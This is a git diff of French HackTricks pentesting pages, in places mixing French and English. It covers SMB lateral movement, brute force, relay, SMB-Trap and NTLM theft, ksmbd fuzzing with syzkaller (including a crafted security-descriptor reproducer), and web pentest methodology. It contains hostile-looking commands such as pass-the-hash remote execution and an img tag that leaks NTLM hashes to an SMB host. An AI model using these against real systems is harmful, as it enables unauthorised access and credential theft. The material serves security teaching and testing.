**paramĂštre**`-k`, vous pouvez vous authentifier auprĂšs de **kerberos** plutĂŽt qu'avec **NTLM**. ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -411,8 +411,8 @@ En utilisant le **paramĂštre**`-k` vous pouvez vous authentifier avec **kerberos ``` ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) -ExĂ©cuter des commandes via le Planificateur de tĂąches (en utilisant _\pipe\atsvc_ via SMB).\ -Sur **kali** il est situĂ© dans /usr/share/doc/python3-impacket/examples/ +ExĂ©cuter des commandes via le Task Scheduler (en utilisant _\pipe\atsvc_ via SMB).\ +Sur **kali** il se trouve dans /usr/share/doc/python3-impacket/examples/ ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" @@ -421,13 +421,13 @@ Sur **kali** il est situĂ© dans /usr/share/doc/python3-impacket/examples/ [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller) +### Surface d'attaque ksmbd et fuzzing du protocole SMB2/SMB3 (syzkaller) {{#ref}} ksmbd-attack-surface-and-fuzzing-syzkaller.md {{#endref}} -## **Bruteforce des identifiants des utilisateurs** +## **Bruteforce des identifiants d'utilisateurs** **Ceci n'est pas recommandĂ©, vous pourriez bloquer un compte si vous dĂ©passez le nombre maximal d'essais autorisĂ©s** ```bash @@ -436,35 +436,35 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## SMB relay attack -Cette attaque utilise le toolkit Responder pour **capturer des sessions d'authentification SMB** sur un rĂ©seau interne, et les **relayer** vers une **machine cible**. Si la **session d'authentification** est rĂ©ussie, elle vous ouvrira automatiquement un **shell systĂšme**.\ -[**Plus d'informations sur cette attaque ici.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +Cette attaque utilise le toolkit Responder pour **capture SMB authentication sessions** sur un rĂ©seau interne, puis **relays** ces sessions vers une **target machine**. Si la **session is successful**, cela ouvrira automatiquement un **system** **shell**.\ +[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -La bibliothĂšque Windows URLMon.dll tente automatiquement de s'authentifier auprĂšs de l'hĂŽte lorsqu'une page essaie d'accĂ©der Ă  du contenu via SMB, par exemple: `img src="\\10.10.10.10\path\image.jpg"` +The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"` -Cela se produit avec les fonctions : +This happens with the functions: - URLDownloadToFile - URLDownloadToCache - URLOpenStream - URLOpenBlockingStream -Qui sont utilisĂ©es par certains navigateurs et outils (comme Skype) +Which are used by some browsers and tools (like Skype) -![Source: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) +![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) -### SMBTrap avec MitMf +### SMBTrap using MitMf -![Source: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) +![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) ## NTLM Theft -De la mĂȘme maniĂšre que SMB Trapping, le dĂ©pĂŽt de fichiers malveillants sur un systĂšme cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant d'intercepter le hash NetNTLMv2 avec un outil tel que Responder. Le hash peut ensuite ĂȘtre craquĂ© hors ligne ou utilisĂ© dans une [SMB relay attack](#smb-relay-attack). +Similaire au SMB Trapping, le fait de dĂ©poser des fichiers malveillants sur un systĂšme cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant d'intercepter le hash NetNTLMv2 avec un outil tel que Responder. Le hash peut ensuite ĂȘtre crackĂ© hors ligne ou utilisĂ© dans une [SMB relay attack](#smb-relay-attack). -[Voir : ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) +[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) -## HackTricks Commandes automatiques +## HackTricks Automatic Commands ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index 337fce815..ddeb7503b 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -1,55 +1,55 @@ -# ksmbd Surface d'attaque & Fuzzing du protocole SMB2/SMB3 (syzkaller) +# ksmbd Surface d'attaque & SMB2/SMB3 Protocol Fuzzing (syzkaller) {{#include ../../banners/hacktricks-training.md}} ## Aperçu -Cette page rĂ©sume des techniques pratiques pour exercer et fuzz le serveur SMB in-kernel de Linux (ksmbd) en utilisant syzkaller. Elle se concentre sur l'expansion de la surface d'attaque du protocole via la configuration, la construction d'un harness stateful capable d'enchaĂźner des opĂ©rations SMB2, la gĂ©nĂ©ration de PDUs valides selon la grammaire, l'orientation des mutations vers des chemins de code faiblement couverts, et l'exploitation de fonctionnalitĂ©s de syzkaller telles que focus_areas et ANYBLOB. Alors que la recherche originale Ă©numĂšre des CVEs spĂ©cifiques, nous mettons ici l'accent sur la mĂ©thodologie rĂ©utilisable et des extraits concrets que vous pouvez adapter Ă  vos propres environnements. +Cette page synthĂ©tise des techniques pratiques pour exercer et fuzz le serveur SMB en-kernel Linux (ksmbd) en utilisant syzkaller. Elle se concentre sur l'expansion de la surface d'attaque du protocole via la configuration, la construction d'un harnais stateful capable d'enchaĂźner des opĂ©rations SMB2, la gĂ©nĂ©ration de PDUs valides grammaticalement, le biaisage des mutations vers des chemins de code faiblement couverts, et l'exploitation des fonctionnalitĂ©s de syzkaller telles que focus_areas et ANYBLOB. Alors que la recherche originale Ă©numĂšre des CVE spĂ©cifiques, ici nous mettons l'accent sur la mĂ©thodologie rĂ©utilisable et des extraits concrets que vous pouvez adapter Ă  vos propres environnements. -PortĂ©e cible : SMB2/SMB3 sur TCP. Kerberos et RDMA sont intentionnellement hors-scope pour garder le harness simple. +PortĂ©e cible : SMB2/SMB3 over TCP. Kerberos et RDMA sont volontairement hors-scope pour garder le harnais simple. --- ## Étendre la surface d'attaque de ksmbd via la configuration -Par dĂ©faut, une configuration ksmbd minimale laisse de larges parties du serveur non testĂ©es. Activez les fonctionnalitĂ©s suivantes pour faire passer le serveur par des parsers/handlers supplĂ©mentaires et atteindre des chemins de code plus profonds : +Par dĂ©faut, une configuration ksmbd minimale laisse de larges parties du serveur non testĂ©es. Activez les fonctionnalitĂ©s suivantes pour pousser le serveur Ă  travers des parseurs/handlers supplĂ©mentaires et atteindre des chemins de code plus profonds : - Global-level - Durable handles - Server multi-channel - SMB2 leases - Per-share-level -- Oplocks (on by default) +- Oplocks (activĂ©s par dĂ©faut) - VFS objects L'activation de ces Ă©lĂ©ments augmente l'exĂ©cution dans des modules tels que : -- smb2pdu.c (command parsing/dispatch) -- ndr.c (NDR encode/decode) -- oplock.c (oplock request/break) -- smbacl.c (ACL parsing/enforcement) -- vfs.c (VFS ops) -- vfs_cache.c (lookup cache) +- smb2pdu.c (parsing/dispatch des commandes) +- ndr.c (encodage/dĂ©codage NDR) +- oplock.c (demande/rupture d'oplock) +- smbacl.c (parsing/renforcement des ACL) +- vfs.c (opĂ©rations VFS) +- vfs_cache.c (cache de lookup) Notes -- Les options exactes dĂ©pendent de l'espace utilisateur ksmbd de votre distro (ksmbd-tools). Consultez /etc/ksmbd/ksmbd.conf et les sections per-share pour activer durable handles, leases, oplocks et VFS objects. -- Multi-channel et durable handles modifient les machines d'Ă©tat et les durĂ©es de vie, souvent faisant ressortir des bugs UAF/refcount/OOB sous concurrence. +- Les options exactes dĂ©pendent des userspace ksmbd de votre distro (ksmbd-tools). Consultez /etc/ksmbd/ksmbd.conf et les sections par-partage pour activer durable handles, leases, oplocks et VFS objects. +- Multi-channel et durable handles modifient les machines d'Ă©tat et les durĂ©es de vie, rĂ©vĂ©lant souvent des bugs UAF/refcount/OOB sous concurrence. --- -## Ajustements d'authentification et de rate-limiting pour le fuzzing -SMB3 nĂ©cessite une session valide. ImplĂ©menter Kerberos dans les harnesses ajoute de la complexitĂ©, donc prĂ©fĂ©rez NTLM/guest pour le fuzzing : +## Authentification et ajustements de rate-limiting pour le Fuzzing +SMB3 nĂ©cessite une session valide. ImplĂ©menter Kerberos dans les harnais ajoute de la complexitĂ©, donc prĂ©fĂ©rez NTLM/guest pour le fuzzing : -- Autorisez guest access et configurez map to guest = bad user afin que les utilisateurs inconnus retombent sur GUEST. -- Acceptez NTLMv2 (patch policy si dĂ©sactivĂ©). Cela simplifie le handshake tout en exerçant les chemins de code SMB3. -- Patcherez les strict credit checks lors d'expĂ©rimentations (les durcissements post-hardening pour CVE-2024-50285 ont rendu le crĂ©dit simultanĂ© plus strict). Sinon, les rate-limits peuvent rejeter des sĂ©quences fuzzĂ©es trop tĂŽt. -- Augmentez le nombre max connections (par ex. Ă  65536) pour Ă©viter les rejets prĂ©coces pendant un fuzzing Ă  haut dĂ©bit. +- Autorisez l'accĂšs guest et dĂ©finissez map to guest = bad user afin que les utilisateurs inconnus retombent sur GUEST. +- Acceptez NTLMv2 (patcher la policy si dĂ©sactivĂ©e). Cela maintient la poignĂ©e de main simple tout en exerçant les chemins de code SMB3. +- Patcherez les contrĂŽles stricts de credits lors des expĂ©rimentations (le durcissement postĂ©rieur pour CVE-2024-50285 a rendu le crĂ©dit pour opĂ©rations simultanĂ©es plus strict). Sinon, les rate-limits peuvent rejeter des sĂ©quences fuzzĂ©es trop tĂŽt. +- Augmentez le max connections (p. ex. Ă  65536) pour Ă©viter des rejets prĂ©coces lors d'un fuzzing Ă  haut dĂ©bit. -Attention : ces assouplissements facilitent uniquement le fuzzing. Ne dĂ©ployez pas ces rĂ©glages en production. +Attention : Ces relaxations servent uniquement Ă  faciliter le fuzzing. Ne pas dĂ©ployer ces rĂ©glages en production. --- -## Stateful Harness : extraire des ressources et enchaĂźner des requĂȘtes -SMB est stateful : de nombreuses requĂȘtes dĂ©pendent d'identifiants renvoyĂ©s par des rĂ©ponses antĂ©rieures (SessionId, TreeID, FileID pairs). Votre harness doit parser les rĂ©ponses et rĂ©utiliser les IDs au sein du mĂȘme programme pour atteindre des handlers profonds (par ex., smb2_create → smb2_ioctl → smb2_close). +## Harnais Ă  Ă©tats : Extraire des ressources et enchaĂźner des requĂȘtes +SMB est stateful : beaucoup de requĂȘtes dĂ©pendent d'identifiants retournĂ©s par des rĂ©ponses prĂ©cĂ©dentes (SessionId, TreeID, paires FileID). Votre harnais doit parser les rĂ©ponses et rĂ©utiliser les IDs dans le mĂȘme programme pour atteindre des handlers profonds (p. ex., smb2_create → smb2_ioctl → smb2_close). -Exemple d'extrait pour traiter un buffer de rĂ©ponse (en sautant les +4B NetBIOS PDU length) et mettre en cache les IDs : +Exemple d'extrait pour traiter un buffer de rĂ©ponse (en sautant les +4B de longueur NetBIOS PDU) et mettre en cache les IDs : ```c // process response. does not contain +4B PDU length void process_buffer(int msg_no, const char *buffer, size_t received) { @@ -76,13 +76,13 @@ break; } ``` Conseils -- Gardez un seul processus fuzzer partageant l'authentification/Ă©tat : meilleure stabilitĂ© et couverture avec les tables globales/de session de ksmbd. syzkaller injecte quand mĂȘme de la concurrence en marquant les ops async, et rĂ©exĂ©cute en interne. -- Le reset_acc_state expĂ©rimental de syzkaller peut rĂ©initialiser l'Ă©tat global mais peut entraĂźner un fort ralentissement. PrivilĂ©giez la stabilitĂ© et concentrez-vous sur le fuzzing. +- Gardez un seul processus fuzzer partageant l'authentification/Ă©tat : meilleure stabilitĂ© et couverture avec les tables globales/session de ksmbd. syzkaller injecte nĂ©anmoins de la concurrence en marquant les ops comme async, rĂ©exĂ©cution en interne. +- L'option expĂ©rimentale reset_acc_state de syzkaller peut rĂ©initialiser l'Ă©tat global mais introduit un ralentissement important. PrivilĂ©giez la stabilitĂ© et concentrez-vous sur le fuzzing. --- -## GĂ©nĂ©ration SMB2 dirigĂ©e par une grammaire (PDUs valides) -Convertissez les structures SMB2 des Microsoft Open Specifications en une grammaire pour fuzzer afin que votre gĂ©nĂ©rateur produise des PDUs structurellement valides, qui atteignent systĂ©matiquement les dispatchers et les IOCTL handlers. +## GĂ©nĂ©ration SMB2 pilotĂ©e par une grammaire (PDUs valides) +Traduisez les structures SMB2 des Microsoft Open Specifications en une grammaire pour fuzzer afin que votre gĂ©nĂ©rateur produise des PDUs structurellement valides, qui atteignent systĂ©matiquement les dispatchers et les IOCTL handlers. Exemple (SMB2 IOCTL request): ``` @@ -107,12 +107,12 @@ Input array[int8] Output array[int8] } [packed] ``` -Ce style impose des tailles/dĂ©calages de structure corrects et amĂ©liore considĂ©rablement la couverture par rapport Ă  la mutation aveugle. +Ce style force des tailles/dĂ©calages de structure corrects et amĂ©liore considĂ©rablement la couverture par rapport Ă  la mutation aveugle. --- ## Fuzzing dirigĂ© avec focus_areas -Utilisez le paramĂštre expĂ©rimental focus_areas de syzkaller pour donner plus de poids Ă  des fonctions/fichiers spĂ©cifiques qui ont actuellement une faible couverture. Exemple JSON: +Utilisez syzkaller’s experimental focus_areas pour surpondĂ©rer des fonctions/fichiers spĂ©cifiques qui ont actuellement une faible couverture. Exemple JSON: ```json { "focus_areas": [ @@ -122,9 +122,9 @@ Utilisez le paramĂštre expĂ©rimental focus_areas de syzkaller pour donner plus d ] } ``` -Cela aide Ă  construire des ACLs valides qui atteignent les chemins arithmetic/overflow dans smbacl.c. Par exemple, un Security Descriptor malveillant avec un dacloffset surdimensionnĂ© reproduit un integer-overflow. +Ceci aide Ă  construire des ACLs valides qui atteignent les chemins arithmetic/overflow dans smbacl.c. Par exemple, un Security Descriptor malveillant avec un dacloffset surdimensionnĂ© reproduit un integer-overflow. -GĂ©nĂ©rateur de reproducer (Python minimal): +Script de reproduction (Python minimal): ```python def build_sd(): import struct @@ -143,8 +143,8 @@ return bytes(sd) ``` --- -## Briser les plateaux de couverture avec ANYBLOB -syzkaller's anyTypes (ANYBLOB/ANYRES) permettent de rĂ©duire des structures complexes en blobs qui mutent de maniĂšre gĂ©nĂ©rique. GĂ©nĂ©rez un nouveau corpus Ă  partir de pcaps SMB publiques et convertissez les payloads en programmes syzkaller appelant votre pseudo-syscall (p.ex., syz_ksmbd_send_req): +## Briser les plateaux de coverage avec ANYBLOB +Les anyTypes de syzkaller (ANYBLOB/ANYRES) permettent de rĂ©duire des structures complexes en blobs qui mutent de façon gĂ©nĂ©rique. GĂ©nĂ©rez un nouveau corpus Ă  partir de pcaps SMB publics et convertissez les payloads en programmes syzkaller appelant votre pseudo-syscall (e.g., syz_ksmbd_send_req): ```bash # Extract SMB payloads to JSON # tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json @@ -167,14 +167,14 @@ f.write( f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" ) ``` -Cela permet de dĂ©marrer l'exploration et peut dĂ©clencher immĂ©diatement des UAFs (p.ex., dans ksmbd_sessions_deregister) tout en augmentant la couverture de quelques pourcents. +Cela lance l'exploration et peut immĂ©diatement dĂ©clencher des UAFs (p. ex., dans ksmbd_sessions_deregister) tout en augmentant la couverture de quelques pourcents. --- -## Sanitizers: Au-delĂ  de KASAN -- KASAN reste le dĂ©tecteur principal pour les bugs liĂ©s au tas (UAF/OOB). +## Sanitizers : Au-delĂ  de KASAN +- KASAN reste le principal dĂ©tecteur pour les bogues de heap (UAF/OOB). - KCSAN produit souvent des faux positifs ou des data races de faible gravitĂ© sur cette cible. -- UBSAN/KUBSAN peut dĂ©tecter des erreurs de bornes dĂ©clarĂ©es que KASAN manque en raison de la sĂ©mantique des indices de tableau. Exemple: +- UBSAN/KUBSAN peut dĂ©tecter des erreurs de bornes dĂ©clarĂ©es que KASAN manque Ă  cause de la sĂ©mantique des indices de tableau. Exemple: ```c id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); struct smb_sid { @@ -182,24 +182,24 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS]; __le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */ } __attribute__((packed)); ``` -DĂ©finir num_subauth = 0 dĂ©clenche une lecture OOB dans la structure de sub_auth[-1], dĂ©tectĂ©e par les declared-bounds checks d'UBSAN. +DĂ©finir num_subauth = 0 dĂ©clenche une lecture in-struct OOB de sub_auth[-1], dĂ©tectĂ©e par les declared-bounds checks d'UBSAN. --- -## Remarques sur le dĂ©bit et le parallĂ©lisme -- Un seul processus fuzzer (auth/state partagĂ©) a tendance Ă  ĂȘtre nettement plus stable pour ksmbd tout en mettant toujours en Ă©vidence des races/UAFs grĂące Ă  l'async executor interne de syzkaller. -- Avec plusieurs VMs, vous pouvez toujours atteindre plusieurs centaines de commandes SMB par seconde au total. Une couverture au niveau des fonctions d'environ ~60% de fs/smb/server et ~70% de smb2pdu.c est atteignable, bien que la couverture des transitions d'Ă©tat soit sous-reprĂ©sentĂ©e par de tels mĂ©triques. +## Notes sur le dĂ©bit et le parallĂ©lisme +- Un seul processus fuzzer (auth/state partagĂ©) a tendance Ă  ĂȘtre significativement plus stable pour ksmbd et met nĂ©anmoins au jour des races/UAFs grĂące Ă  l'async executor interne de syzkaller. +- Avec plusieurs VM, vous pouvez toujours atteindre des centaines de commandes SMB par seconde au total. Une couverture au niveau fonction d'environ ~60% de fs/smb/server et ~70% de smb2pdu.c est atteignable, bien que la couverture des transitions d'Ă©tat soit sous-reprĂ©sentĂ©e par de tels mĂ©triques. --- -## Liste de contrĂŽle pratique -- Activer durable handles, leases, multi-channel, oplocks et VFS objects dans ksmbd. -- Autoriser guest et map-to-guest ; accepter NTLMv2. Supprimer les credit limits et augmenter le max connections pour la stabilitĂ© du fuzzer. -- Construire un harness stateful qui met en cache SessionId/TreeID/FileIDs et enchaĂźne create → ioctl → close. -- Utiliser une grammaire pour SMB2 PDUs afin de maintenir la validitĂ© structurelle. -- Utiliser focus_areas pour surpondĂ©rer les fonctions faiblement couvertes (par ex., des chemins dans smbacl.c comme smb_check_perm_dacl). -- Seed avec ANYBLOB provenant de vrais pcaps pour casser les plateaux ; packer les seeds avec syz-db pour rĂ©utilisation. -- Lancer avec KASAN + UBSAN ; trier attentivement les rapports declared-bounds d'UBSAN. +## Checklist pratique +- Activez durable handles, leases, multi-channel, oplocks et VFS objects dans ksmbd. +- Autorisez guest et map-to-guest ; acceptez NTLMv2. Éliminez les credit limits et augmentez le max connections pour la stabilitĂ© du fuzzer. +- Construisez un stateful harness qui met en cache SessionId/TreeID/FileIDs et enchaĂźne create → ioctl → close. +- Utilisez une grammar pour SMB2 PDUs afin de maintenir la validitĂ© structurelle. +- Utilisez focus_areas pour surpondĂ©rer les fonctions faiblement couvertes (par ex., chemins de smbacl.c comme smb_check_perm_dacl). +- Grainez avec ANYBLOB tirĂ© de pcaps rĂ©els pour franchir les plateaux ; packez les seeds avec syz-db pour rĂ©utilisation. +- ExĂ©cutez avec KASAN + UBSAN ; triez soigneusement les rapports declared-bounds d'UBSAN. --- @@ -214,6 +214,6 @@ DĂ©finir num_subauth = 0 dĂ©clenche une lecture OOB dans la structure de sub_aut - KCSAN: https://docs.kernel.org/dev-tools/kcsan.html - Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/ - Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures -- Lecture de fond: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes +- Lecture de fond: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; notes syzkaller de Dongliang Mu {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 01ecfd99b..6d2fcb04a 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,12 +1,12 @@ -# 80,443 - MĂ©thodologie de pentesting Web +# 80,443 - MĂ©thodologie de Pentesting Web {{#include ../../banners/hacktricks-training.md}} -## Informations de base +## Infos de base -Le service web est le service le plus **courant et Ă©tendu** et de nombreux **types diffĂ©rents de vulnĂ©rabilitĂ©s** existent. +Le service web est le service le plus **courant et Ă©tendu** et de nombreux **types de vulnĂ©rabilitĂ©s** existent. -Port par dĂ©faut : 80 (HTTP), 443 (HTTPS) +**Port par dĂ©faut :** 80 (HTTP), 443 (HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -17,7 +17,7 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Conseils pour Web API +### Guide des API Web {{#ref}} @@ -26,36 +26,36 @@ web-api-pentesting.md ## RĂ©sumĂ© de la mĂ©thodologie -> Dans cette mĂ©thodologie, nous supposerons que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Vous devez donc appliquer cette mĂ©thodologie Ă  chaque domaine, sous-domaine ou IP dĂ©couvert(e) avec un serveur web indĂ©terminĂ© dans le scope. +> Dans cette mĂ©thodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Donc, vous devez appliquer cette mĂ©thodologie Ă  chaque domaine, sous-domaine ou IP dĂ©couvert avec un serveur web indĂ©terminĂ© dans le scope. -- [ ] Commencez par **identifier** les **technologies** utilisĂ©es par le serveur web. Cherchez des **tricks** Ă  garder en tĂȘte pendant le reste du test si vous parvenez Ă  identifier la tech. -- [ ] Existe-t-il une **known vulnerability** pour la version de la technologie ? -- [ ] Utilisez-vous une **well known tech** ? Un **useful trick** pour extraire plus d'informations ? -- [ ] Y a-t-il un **specialised scanner** Ă  lancer (comme wpscan) ? -- [ ] Lancez des **general purposes scanners**. On ne sait jamais s'ils vont trouver quelque chose ou des informations intĂ©ressantes. -- [ ] Commencez par les **initial checks** : **robots**, **sitemap**, erreur **404** et **SSL/TLS scan** (si HTTPS). -- [ ] Commencez le **spidering** de la page web : c'est le moment de **trouver** tous les **fichiers, dossiers** et **paramĂštres utilisĂ©s.** VĂ©rifiez aussi les **trouvailles particuliĂšres**. -- [ ] _Notez que chaque fois qu'un nouveau rĂ©pertoire est dĂ©couvert lors du brute-forcing ou du spidering, il doit ĂȘtre spidered._ -- [ ] **Directory Brute-Forcing** : Essayez de brute-forcer tous les dossiers dĂ©couverts en recherchant de nouveaux **fichiers** et **rĂ©pertoires**. -- [ ] _Notez que chaque fois qu'un nouveau rĂ©pertoire est dĂ©couvert lors du brute-forcing ou du spidering, il doit ĂȘtre Brute-Forced._ -- [ ] **Backups checking** : Testez si vous pouvez trouver des **backups** des **fichiers dĂ©couverts** en ajoutant des extensions de sauvegarde courantes. -- [ ] **Brute-Force parameters** : Essayez de **trouver des paramĂštres cachĂ©s**. -- [ ] Une fois que vous avez **identifiĂ©** tous les **endpoints** possibles acceptant **user input**, vĂ©rifiez tous les types de **vulnerabilities** qui leur sont liĂ©s. -- [ ] [Suivez cette checklist](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] Commencez par **identifier** les **technologies** utilisĂ©es par le serveur web. Cherchez des **trucs** Ă  garder en tĂȘte pendant le reste du test si vous parvenez Ă  identifier la tech. +- [ ] Existe-t-il une **vulnĂ©rabilitĂ© connue** pour la version de la technologie ? +- [ ] Utilisez-vous une **technologie bien connue** ? Une **astuce utile** pour extraire plus d'informations ? +- [ ] Y a-t-il un **scanner spĂ©cialisĂ©** Ă  exĂ©cuter (comme wpscan) ? +- [ ] Lancez des **scanners Ă  usage gĂ©nĂ©ral**. On ne sait jamais s'ils vont trouver quelque chose ou des informations intĂ©ressantes. +- [ ] Commencez par les **vĂ©rifications initiales** : **robots**, **sitemap**, erreur **404** et **SSL/TLS scan** (si HTTPS). +- [ ] Commencez le **spidering** de la page web : il est temps de **trouver** tous les **fichiers, dossiers** et **paramĂštres utilisĂ©s.** VĂ©rifiez aussi les **trouvailles particuliĂšres**. +- [ ] _Notez que chaque fois qu'un nouveau rĂ©pertoire est dĂ©couvert lors de brute-forcing ou de spidering, il doit ĂȘtre spidered._ +- [ ] **Directory Brute-Forcing**: Essayez de brute-forcer tous les dossiers dĂ©couverts pour rechercher de nouveaux **fichiers** et **rĂ©pertoires**. +- [ ] _Notez que chaque fois qu'un nouveau rĂ©pertoire est dĂ©couvert lors de brute-forcing ou de spidering, il doit ĂȘtre Brute-Forced._ +- [ ] **Backups checking**: Testez si vous pouvez trouver des **backups** des **fichiers dĂ©couverts** en ajoutant des extensions de backup courantes. +- [ ] **Brute-Force parameters**: Essayez de **trouver des paramĂštres cachĂ©s**. +- [ ] Une fois que vous avez **identifiĂ©** tous les **endpoints** possibles acceptant des **entrĂ©es utilisateur**, vĂ©rifiez tous les types de **vulnĂ©rabilitĂ©s** qui leur sont liĂ©s. +- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) ## Version du serveur (VulnĂ©rable ?) -### Identification +### Identifier -VĂ©rifiez s'il existe des **known vulnerabilities** pour la version du serveur en cours d'exĂ©cution.\ -Les **HTTP headers and cookies of the response** peuvent ĂȘtre trĂšs utiles pour **identifier** les **technologies** et/ou la **version** utilisĂ©e. Un **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech** ](https://github.com/ShielderSec/webtech) ou [**https://builtwith.com/**](https://builtwith.com) peuvent Ă©galement ĂȘtre utiles : +VĂ©rifiez s'il existe des **vulnĂ©rabilitĂ©s connues** pour la **version** du serveur en cours d'exĂ©cution.\ +Les **en-tĂȘtes HTTP et les cookies de la rĂ©ponse** peuvent ĂȘtre trĂšs utiles pour **identifier** les **technologies** et/ou la **version** utilisĂ©e. **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Rechercher **pour** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) +Rechercher **les** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) ### **VĂ©rifier s'il y a un WAF** @@ -63,7 +63,7 @@ Rechercher **pour** [**vulnerabilities of the web application** **version**](../ - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Astuces techniques Web +### Astuces pour les technologies Web Quelques **astuces** pour **trouver des vulnĂ©rabilitĂ©s** dans diffĂ©rentes **technologies** bien connues utilisĂ©es : @@ -102,25 +102,26 @@ Quelques **astuces** pour **trouver des vulnĂ©rabilitĂ©s** dans diffĂ©rentes **t - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) - [**Sitecore**](sitecore/index.html) -_Prenez en compte que le **mĂȘme domaine** peut utiliser **diffĂ©rentes technologies** sur diffĂ©rents **ports**, **dossiers** et **sous-domaines**._\ -Si l'application web utilise l'une des **technologies/plateformes listĂ©es ci‑dessus** ou **une autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et faites‑m'en part !). +_Tenez compte que le **mĂȘme domaine** peut utiliser **diffĂ©rentes technologies** sur diffĂ©rents **ports**, **dossiers** et **sous-domaines**._\ +Si l'application web utilise une **tech/plateforme** bien connue listĂ©e ci-dessus ou **toute autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et informez-moi !). -### Revue du code source +### Source Code Review -Si le **code source** de l'application est disponible sur **github**, en plus d'effectuer par vous‑mĂȘme un White box test de l'application, il existe **des informations** qui pourraient ĂȘtre **utiles** pour le prĂ©sent **Black-Box testing** : +Si le **code source** de l'application est disponible sur **github**, en plus d'effectuer par **vous-mĂȘme un White box test** de l'application, il existe **des informations** qui pourraient ĂȘtre **utiles** pour le **Black-Box testing** en cours : + +- Y a-t-il un **Change-log or Readme or Version** file ou tout Ă©lĂ©ment avec des **version info accessible** via le web ? +- How and where are saved the **credentials**? Is there any (accessible?) **file** with credentials (usernames or passwords)? +- Are **passwords** in **plain text**, **encrypted** or which **hashing algorithm** is used? +- Is it using any **master key** for encrypting something? Which **algorithm** is used? +- Can you **access any of these files** exploiting some vulnerability? +- Is there any **interesting information in the github** (solved and not solved) **issues**? Or in **commit history** (maybe some **password introduced inside an old commit**)? -- Existe‑t‑il un fichier **Change-log or Readme or Version** ou autre contenant des **version info accessible** via le web ? -- Comment et oĂč sont sauvegardĂ©es les **credentials** ? Y a‑t‑il un (fichier accessible ?) **file** avec des credentials (usernames or passwords) ? -- Les **passwords** sont‑ils en **plain text**, **encrypted** ou quel **hashing algorithm** est utilisĂ© ? -- Utilise‑t‑elle une **master key** pour chiffrer quelque chose ? Quel **algorithm** est utilisĂ© ? -- Pouvez‑vous **access any of these files** en exploitant une 